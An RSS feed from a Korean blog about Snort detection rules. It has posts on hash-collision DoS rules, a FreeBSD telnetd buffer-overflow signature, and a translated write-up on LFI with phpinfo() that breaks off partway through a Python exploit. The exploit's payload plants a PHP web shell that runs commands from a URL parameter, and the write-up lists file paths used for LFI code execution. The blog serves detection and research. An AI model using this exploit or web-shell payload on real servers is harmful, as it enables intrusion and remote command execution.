<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Snort rules</title>
	<atom:link href="http://snortrules.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://snortrules.wordpress.com</link>
	<description>Korea Snort rules</description>
	<lastBuildDate>Fri, 06 Jan 2012 09:27:33 +0000</lastBuildDate>
	<language>ko</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='snortrules.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Snort rules</title>
		<link>http://snortrules.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://snortrules.wordpress.com/osd.xml" title="Snort rules" />
	<atom:link rel='hub' href='http://snortrules.wordpress.com/?pushpress=hub'/>
		<item>
		<title>HashTable DoS</title>
		<link>http://snortrules.wordpress.com/2012/01/06/hashtable-dos/</link>
		<comments>http://snortrules.wordpress.com/2012/01/06/hashtable-dos/#comments</comments>
		<pubDate>Fri, 06 Jan 2012 09:27:31 +0000</pubDate>
		<dc:creator>regexkorea</dc:creator>
				<category><![CDATA[Rule Create]]></category>

		<guid isPermaLink="false">http://snortrules.wordpress.com/?p=530</guid>
		<description><![CDATA[HashTable DoS 탐지 방안으로 MS社에서는 아래와 같은 룰을 제공하였다. alert tcp $EXTERNAL_NET any -&#62; $HOME_NET $HTTP_PORTS (msg:&#8221;DOS generic web server hashing collision attack&#8221;; flow:established,to_server; content:&#8221;Content-Type&#124;3A&#124; application&#124;2F&#124;x-www-form-urlencoded&#8221;; nocase; http_header; pcre:&#8221;/([^=]+=[^&#38;]*&#38;){500}/OP&#8221;; reference:cve,2011-3414; reference:url,events.ccc.de/congress/2011/Fahrplan/events/4680.en.html; reference:url,technet.microsoft.com/en-us/security/advisory/2659883; classtype:attempted-dos; sid:20823; rev:1;) alert tcp $EXTERNAL_NET any -&#62; $HOME_NET $HTTP_PORTS (msg:&#8221;DOS generic web server hashing collision attack&#8221;; flow:established,to_server; content:&#8221;Content-Type&#124;3A&#124; multipart/form-data&#8221;; nocase; http_header; pcre:&#8221;/(\r\nContent-Disposition\x3a\s+form-data\x3b[^\r\n]+\r\n\r\n.+?){500}/OPsmi&#8221;; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=530&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>HashTable DoS 탐지 방안으로 MS社에서는 아래와 같은 룰을 제공하였다.</p>
<p>alert tcp $EXTERNAL_NET any -&gt; $HOME_NET $HTTP_PORTS (msg:&#8221;DOS generic web server hashing collision attack&#8221;; flow:established,to_server; content:&#8221;Content-Type|3A| application|2F|x-www-form-urlencoded&#8221;; nocase; http_header; pcre:&#8221;/([^=]+=[^&amp;]*&amp;){500}/OP&#8221;; reference:cve,2011-3414; reference:url,events.ccc.de/congress/2011/Fahrplan/events/4680.en.html; reference:url,technet.microsoft.com/en-us/security/advisory/2659883; classtype:attempted-dos; sid:20823; rev:1;)</p>
<p>alert tcp $EXTERNAL_NET any -&gt; $HOME_NET $HTTP_PORTS (msg:&#8221;DOS generic web server hashing collision attack&#8221;; flow:established,to_server; content:&#8221;Content-Type|3A| multipart/form-data&#8221;; nocase; http_header; pcre:&#8221;/(\r\nContent-Disposition\x3a\s+form-data\x3b[^\r\n]+\r\n\r\n.+?){500}/OPsmi&#8221;; reference:cve,2011-3414; reference:url,events.ccc.de/congress/2011/Fahrplan/events/4680.en.html; reference:url,technet.microsoft.com/en-us/security/advisory/2659883; classtype:attempted-dos; sid:20824; rev:1;)</p>
<p>참고자료 :</p>
<p>-  <a href="http://blogs.technet.com/b/srd/archive/2011/12/29/asp-net-security-update-is-live.aspx">http://blogs.technet.com/b/srd/archive/2011/12/29/asp-net-security-update-is-live.aspx</a></p>
<p><a href="http://www.exploit-db.com/exploits/18296/">-  http://www.exploit-db.com/exploits/18296/</a></p>
<p><a href="http://www.exploit-db.com/exploits/18305/">-  http://www.exploit-db.com/exploits/18305/</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/snortrules.wordpress.com/530/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/snortrules.wordpress.com/530/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/snortrules.wordpress.com/530/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/snortrules.wordpress.com/530/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/snortrules.wordpress.com/530/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/snortrules.wordpress.com/530/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/snortrules.wordpress.com/530/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/snortrules.wordpress.com/530/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/snortrules.wordpress.com/530/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/snortrules.wordpress.com/530/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/snortrules.wordpress.com/530/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/snortrules.wordpress.com/530/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/snortrules.wordpress.com/530/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/snortrules.wordpress.com/530/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=530&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://snortrules.wordpress.com/2012/01/06/hashtable-dos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dbf840f4ae0f45f8e88afdc48182e77f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regexkorea</media:title>
		</media:content>
	</item>
		<item>
		<title>telnetd encrypt keyid buffer overflow</title>
		<link>http://snortrules.wordpress.com/2012/01/05/518/</link>
		<comments>http://snortrules.wordpress.com/2012/01/05/518/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 09:45:32 +0000</pubDate>
		<dc:creator>hhkim84</dc:creator>
				<category><![CDATA[Hot issue]]></category>

		<guid isPermaLink="false">http://snortrules.wordpress.com/?p=518</guid>
		<description><![CDATA[2011년 12월 26일 exploit-db에 telnet 관련 취약점 exploit이 발표되었다. 이 exploit은 FreeBSD에서 커버러스와 연동된 telnet 서버에 대한 버퍼 오버플로우 취약점을 공략한다. 다음은 공격 패턴이다.  버퍼오버플로우 시키기 위해 shellcode가 포함된 긴 길이의 keyid를 telnet 서버에 전송한다. payload의 특정 위치까지 \x90으로 패딩된 것을 확인할 수 있다. 해당 exploit을 탐지하기 위한 snort rule은 다음과 같다. alert tcp any any -&#62; any 23 (msg: [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=518&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>2011년 12월 26일 exploit-db에 telnet 관련 취약점 exploit이 발표되었다. 이 exploit은 FreeBSD에서 커버러스와 연동된 telnet 서버에 대한 버퍼 오버플로우 취약점을 공략한다.</p>
<p>다음은 공격 패턴이다.  버퍼오버플로우 시키기 위해 shellcode가 포함된 긴 길이의 keyid를 telnet 서버에 전송한다. payload의 특정 위치까지 \x90으로 패딩된 것을 확인할 수 있다.</p>
<p><a href="http://snortrules.files.wordpress.com/2012/01/k-13.jpg"><img class="wp-image-522 alignnone" title="K-1" src="http://snortrules.files.wordpress.com/2012/01/k-13.jpg?w=284&#038;h=176" alt="" width="284" height="176" /></a></p>
<p>해당 exploit을 탐지하기 위한 snort rule은 다음과 같다.</p>
<p>alert tcp any any -&gt; any 23 (msg: &#8220;</p>
<p lang="en-US">telnetd encrypt keyid buffer overflow &#8211; exploit-db</p>
<p>&#8220;; flow: established, to_server; content:”|ff fa 26 07 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|”;)</p>
<p>Metasploit에도 telnet_encrypt_overflow란 명으로 exploit이 업데이트 되었다.</p>
<p>해당 exploit의 공격 패턴도 위에서 언급한 exploit과 패턴이 유사하나,  \x90 대신 \x58로 패딩된다. 다음은 공격패턴이다.</p>
<p><a href="http://snortrules.files.wordpress.com/2012/01/k-2.jpg"><img class="alignnone size-medium wp-image-523" title="K-2" src="http://snortrules.files.wordpress.com/2012/01/k-2.jpg?w=300&#038;h=153" alt="" width="300" height="153" /></a></p>
<p>해당 exploit을 탐지하기 위한 snort rule은 다음과 같다.</p>
<p>alert tcp any any -&gt; any 23 (msg: &#8220;</p>
<p lang="en-US">telnetd encrypt keyid buffer overflow &#8211; Metasploit</p>
<p>&#8220;; flow: established, to_server;  content:”|ff fa 26 07 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58|”;)</p>
<p>참고(exploit code):</p>
<p><a href="http://www.exploit-db.com/exploits/18280/">http://www.exploit-db.com/exploits/18280/</a></p>
<p><a href="http://www.metasploit.com/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow">http://www.metasploit.com/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/snortrules.wordpress.com/518/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/snortrules.wordpress.com/518/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/snortrules.wordpress.com/518/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/snortrules.wordpress.com/518/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/snortrules.wordpress.com/518/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/snortrules.wordpress.com/518/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/snortrules.wordpress.com/518/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/snortrules.wordpress.com/518/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/snortrules.wordpress.com/518/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/snortrules.wordpress.com/518/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/snortrules.wordpress.com/518/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/snortrules.wordpress.com/518/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/snortrules.wordpress.com/518/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/snortrules.wordpress.com/518/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=518&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://snortrules.wordpress.com/2012/01/05/518/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e767e1fb19df2b06dfe955a31f255729?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">hhkim84</media:title>
		</media:content>

		<media:content url="http://snortrules.files.wordpress.com/2012/01/k-13.jpg?w=300" medium="image">
			<media:title type="html">K-1</media:title>
		</media:content>

		<media:content url="http://snortrules.files.wordpress.com/2012/01/k-2.jpg?w=300" medium="image">
			<media:title type="html">K-2</media:title>
		</media:content>
	</item>
		<item>
		<title>[번역] ﻿LFI WITH PHPINFO() ASSISTANCE</title>
		<link>http://snortrules.wordpress.com/2011/12/23/%eb%b2%88%ec%97%ad-%ef%bb%bflfi-with-phpinfo-assistance/</link>
		<comments>http://snortrules.wordpress.com/2011/12/23/%eb%b2%88%ec%97%ad-%ef%bb%bflfi-with-phpinfo-assistance/#comments</comments>
		<pubDate>Fri, 23 Dec 2011 05:48:48 +0000</pubDate>
		<dc:creator>insidej</dc:creator>
				<category><![CDATA[Hot issue]]></category>

		<guid isPermaLink="false">http://snortrules.wordpress.com/?p=509</guid>
		<description><![CDATA[LFI WITH PHPINFO() ASSISTANCE   Introduction PHP 어플리케이션의 테스트에서 LFI 취약점은 여전히 일반적인 취약점이다. 서버 설정에 따라 다음의 포인트에서 알려진 주요 기법에 의해 코드 실행이 가능하다.   l  /proc/self/environ l  /proc/self/fd/… l  /var/lib/php/session/(PHP Sessions) l  /tmp/(PHP Sessions) l  PHP://input wrapper l  PHP://filter wrapper l  Data: wrapper   이 연구 문서는 Gynvael Coldwind의 “PHP LFI to [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=509&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong><span style="font-family:맑은 고딕;">LFI WITH PHPINFO() ASSISTANCE</span></strong></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><strong><span style="font-family:맑은 고딕;">Introduction</span></strong></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">PHP 어플리케이션의 테스트에서 LFI 취약점은 여전히 일반적인 취약점이다. 서버 설정에 따라 다음의 포인트에서 알려진 주요 기법에 의해 코드 실행이 가능하다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;">l</span>  <span style="font-family:맑은 고딕;font-size:x-small;">/proc/self/environ</span></p>
<p><span style="font-size:x-small;">l</span>  <span style="font-family:맑은 고딕;font-size:x-small;">/proc/self/fd/…</span></p>
<p><span style="font-size:x-small;">l</span>  <span style="font-family:맑은 고딕;font-size:x-small;">/var/lib/php/session/(PHP Sessions)</span></p>
<p><span style="font-size:x-small;">l</span>  <span style="font-family:맑은 고딕;font-size:x-small;">/tmp/(PHP Sessions)</span></p>
<p><span style="font-size:x-small;">l</span>  <span style="font-family:맑은 고딕;font-size:x-small;">PHP://input wrapper</span></p>
<p><span style="font-size:x-small;">l</span>  <span style="font-family:맑은 고딕;font-size:x-small;">PHP://filter wrapper</span></p>
<p><span style="font-size:x-small;">l</span>  <span style="font-family:맑은 고딕;font-size:x-small;">Data: wrapper</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">이 연구 문서는 Gynvael Coldwind의 “PHP LFI to arbitratry code execution via rfc 1867 file upload temporary files” 의 발전 시킨 것이다. </span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p align="center"><strong><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf</span></span></strong></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">이 문서에서, 저자 문서의 정보는 PHP 파일 업로드의 특징과 관련이 있다. 저자가 알리고자 한 특징은 만약 <strong>file_upload = on</strong> 으로 PHP 설정이 되어 있을 때 특정 PHP 파일을 이용하여 post 방식의 파일 업로드가 가능하다는 것이다. 또한 그는 업로드 된 파일은 해당 PHP 파일의 처리가 완료 되기 까지 tmp 에 위치하게 된다고 한다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">여기서 또 하나의 PHP 관련 문서를 포함한다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p align="center"><strong><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">http://www.php.net/manual/en/features.file-upload.post-method.php</span></span></strong></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            만약 파일이 이동되거나 이름이 변경되지 않는다면, 파일은 request 요청이 </span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">마지막에 임시 디렉토리(tmp)에서 삭제 된다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">Gynvael Coldwind 문서에서는 윈도우 시스템에서 FindFirstFile 현상을 이용하여 위 동작을 exploit 하는 방법을 포함하고 있다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><em><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">Oddities of PHP file access in Windows®. Cheat-sheet, 2011 (Vladimir Vorontsov, Arthur Gerkis)</span></span></em></p>
<p><a href="http://onsec.ru/onsec.whitepaper-02.eng.pdf"><strong><span style="color:#0000ff;font-family:맑은 고딕;font-size:x-small;">http://onsec.ru/onsec.whitepaper-02.eng.pdf</span></strong></a><strong></strong></p>
<p><strong><span style="font-family:맑은 고딕;font-size:x-small;"> </span></strong></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">LFI 연구와 관련이 없다고 할지라도, 다음 문서는 PHP 웹 어플리케이션 보안 연구가들에게 흥미로울 것이다. 이 문서는 HEAD HTTP 메소드를 이용한, PHP 스크립트의 동작 이슈에 대한 내용이 있다.</span></span></p>
<p align="center"><span style="font-family:Arial;"><em>HTTP HEAD method trick in php scripts (Adam Iwaniuk)</em></span></p>
<p align="center"><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">https://students.mimuw.edu.pl/~ai292615/php_head_trick.pdf</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">위 HEAD 메소드 트릭의 FindFirstFile 현상은 GNU/Linux 에서의 PHP 엔진엔 적용되지 않는다. 그렇지만 아래의 명백한 상태인 PHP File 업로드 취약점의 특징은 여전히 가능하다. 이 문서는 여러 조건 중 하나에 대해 자세히 기술한다. Phpinfo() 함수의 호출 결과에 대한 출력을 하는 스크립트를 접근할 때 사용 가능하게 된다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><strong><span style="font-family:맑은 고딕;">LFI WITH PHPINFO() ASSISTANCE</span></strong></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">다음의 서버 내 요소들이 취약 상태를 위해 필요하다.</span></span></p>
<p><span style="font-size:x-small;">l</span>  <span style="font-family:맑은 고딕;font-size:x-small;">LFI Vulnerability</span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">LFI 취약점이 공격 수행을 위해 필요하다. 이 스크립트는 PHPInfo script를 통해 업로드 된 파일을 포함하기 위해 필요하다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;">l</span>  <span style="font-family:맑은 고딕;font-size:x-small;">PHPinfo() Script</span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">PHPinfo() 함수를 화면에 출력하는 스크립트가 필요하다. 대부분 이 파일은 /phpinfo.php 로 개발자들이 생성해 놓곤 한다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-family:맑은 고딕;"> </span></p>
<p><strong><span style="font-family:맑은 고딕;">Why PHPInfo()?</span></strong></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">PHPinfo() 함수를 포함하는 스크립트는 다양한 PHP 변수들의 값들을 포함한다. </span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">그 중 _GET, _POST 또는 업로드 된 _FILES 에 의해 셋팅 된 변수의 값들을 포함한다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">다음의 요청(request)와 출력 스크린샷은 어떻게 PHPinfo() 스크립트가 업로드 된 파일의 임시 파일명을 발견하는지 보여준다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="615"><span style="font-family:Arial;">POST /phpinfo.php HTTP/1.0 </span></p>
<p><span style="font-family:Arial;">Content-Type: multipart/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;7db268605ae </span></p>
<p><span style="font-family:Arial;">Content-Length: 196 </span></p>
<p><span style="font-family:Arial;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7db268605ae </span></p>
<p><span style="font-family:Arial;">Content-Disposition: form-data; name=&#8221;dummyname&#8221;; filename=&#8221;test.txt&#8221; </span></p>
<p><span style="font-family:Arial;">Content-Type: text/plain </span></p>
<p><span style="font-family:Arial;">Security Test </span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7db268605ae </span></td>
</tr>
</tbody>
</table>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p>&nbsp;</p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><strong><span style="font-family:맑은 고딕;">Winning The Race</span></strong></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">첫번째 페이지에서 서술 했듯이, 임시 파일은 PHP 처리과정이 .php 파일이 처리되는 동안만 존재한다. 그리고 처리가 끝날 때 함께 삭제되게 된다. </span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">임시 파일에서의 동작은 다음의 명령을 통해 모니터링이 가능하다.</span></span></p>
<p align="center"><span style="font-family:맑은 고딕;font-size:x-small;">sudo inotifywat –m –r /tmp</span></p>
<p align="center"><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">( 또는 infotifywat /tmp )</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">그렇다면 다음과 같이 추측해 볼 수 있다.</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">만약 PHPinfo() 함수 포함 php 파일의 결과가 브라우저로 다시 보내어지고 있고, 그리고 PHP 처리 과정이 끝나고 파일이 삭제된다면, 비록 명백히 일반적이지는 않을 지라도, PHP 처리 과정이 여전히 요청된 파일에서 진행중인 동안에는 콘텐츠 결과의 일부분을 되찾아 오는 게 가능하다. </span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">PHP는 처리 결과의 버퍼링을 사용하여 데이터 전송의 효율 증대를 노린다. 이 설정은 기본적인 설정이며 버퍼의 값은 4096 값으로 enable 되어 있다.</span></span></p>
<p align="center"><a href="http://php.net/manual/en/outcontrol.configuration.php#ini.output-buffering"><strong><span style="color:#0000ff;font-family:맑은 고딕;font-size:x-small;">http://php.net/manual/en/outcontrol.configuration.php#ini.output-buffering</span></strong></a><strong></strong></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">PHP 스크립트의 output 크기가 설정된 버퍼링의 설정 값보다 클 경우, 부분적인 컨텐츠는 요청자에게 리턴 된다.( 이 부분이 가장 중요하다.) 리턴 시 데이터는 청크 단위로 다음의 기술로 인해 인코딩 된다.</span></span></p>
<p align="center"><span style="font-family:맑은 고딕;font-size:x-small;">http://en.wikipedia.org/wiki/Chunked_transfer_encoding</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><strong><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">PHP 스크립트의 결과물이 반드시 threshold 값보다 크게 하기 위해, 그리고 교묘하게 처리 시간을 증가시키기 위해, extra padding(exploit 코드 내에 A값을 5000 bytes 로 포함시켜 전송하는 행위)이 긴 길이의 extra HTTP header 값의 전송을 통해 포함된다.</span></span></strong></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">PHPinfo 스크립트로 전송되는 multiple upload posts 들을 만들어 내는 것과, 그 응답에 대해 돌아오는 값들의 검사를 통해, 임시 파일명의 발견과 특정 임시 파일명의 LFI 요청 request가 가능하다. 이 조건들은 우리가 이 Race에서 이기도록 해준다. 그리고 효과적으로 LFI 취약점을 이용한 code execution의 변형 공격이 가능하게 된다.</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">이 취약점은 로컬, 원격의 서버에 모두 증명된 취약점이다.</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="615"><span style="font-family:맑은 고딕;font-size:x-small;">#!/usr/bin/python</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">import sys</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">import threading</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">import socket</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">def setup(host, port):</span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    TAG=&#8221;Security Test&#8221;</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    PAYLOAD=&#8221;"&#8221;%s\r</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">&lt;?php $c=fopen(&#8216;/tmp/g&#8217;,'w&#8217;);fwrite($c,&#8217;&lt;?php passthru($_GET["f"]);?&gt;&#8217;);?&gt;\r&#8221;"&#8221; % TAG    </span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    REQ1_DATA=&#8221;"&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7dbff1ded0714\r</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">Content-Disposition: form-data; name=&#8221;dummyname&#8221;; filename=&#8221;test.txt&#8221;\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">Content-Type: text/plain\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">%s</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7dbff1ded0714&#8211;\r&#8221;"&#8221; % PAYLOAD</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">    </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    padding=&#8221;A&#8221; * 5000</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    REQ1=&#8221;"&#8221;POST /phpinfo.php?a=&#8221;"&#8221;+padding+&#8221;"&#8221; HTTP/1.1\r</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=&#8221;"&#8221;+padding+&#8221;"&#8221;\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">HTTP_ACCEPT: &#8220;&#8221;" + padding + &#8220;&#8221;"\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">HTTP_USER_AGENT: &#8220;&#8221;"+padding+&#8221;"&#8221;\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">HTTP_ACCEPT_LANGUAGE: &#8220;&#8221;"+padding+&#8221;"&#8221;\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">HTTP_PRAGMA: &#8220;&#8221;"+padding+&#8221;"&#8221;\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">Content-Type: multipart/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;7dbff1ded0714\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">Content-Length: %s\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">Host: %s\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">%s&#8221;"&#8221; %(len(REQ1_DATA),host,REQ1_DATA)</span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    #modify this to suit the LFI script</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    LFIREQ=&#8221;"&#8221;GET /lfi.php?load=%s%%00 HTTP/1.1\r</span></span></p>
